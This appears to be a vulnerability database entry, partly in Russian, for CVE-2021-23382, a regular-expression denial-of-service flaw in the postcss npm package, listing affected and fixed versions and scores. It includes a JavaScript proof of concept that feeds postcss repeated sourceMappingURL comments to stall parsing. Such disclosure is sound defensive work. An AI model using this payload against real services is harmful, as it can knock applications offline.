GHSA-566m-qj78-rww5

Опубликовано: 07 янв. 2022

Источник: github

Github: Прошло ревью

CVSS3: 5.3

Описание

Regular Expression Denial of Service in postcss

The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern

\/\*\s* sourceMappingURL=(.*)

PoC

var postcss = require("postcss") function build_attack(n) { var ret = "a{}" for (var i = 0; i < n; i++) { ret += "/*# sourceMappingURL=" } return ret + "!"; }

postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) { if (i % 1000 == 0) { var time = Date.now(); var attack_str = build_attack(i) try { postcss.parse(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms"); } catch (e) { var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms"); } } }

Ссылки

Пакеты

Наименование

postcss

npm

Затронутые версииВерсия исправления

>= 8.0.0, < 8.2.13

8.2.13

Наименование

postcss

npm

Затронутые версииВерсия исправления

< 7.0.36

7.0.36

EPSS

Процентиль: 22%

0.00071

Низкий

5.3 Medium

CVSS3

CVE ID

CVE-2021-23382

Дефекты

CWE-400

Связанные уязвимости

CVE-2021-23382

CVSS3: 5.3

ubuntu

почти 5 лет назад

The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \/\*\s* sourceMappingURL=(.*).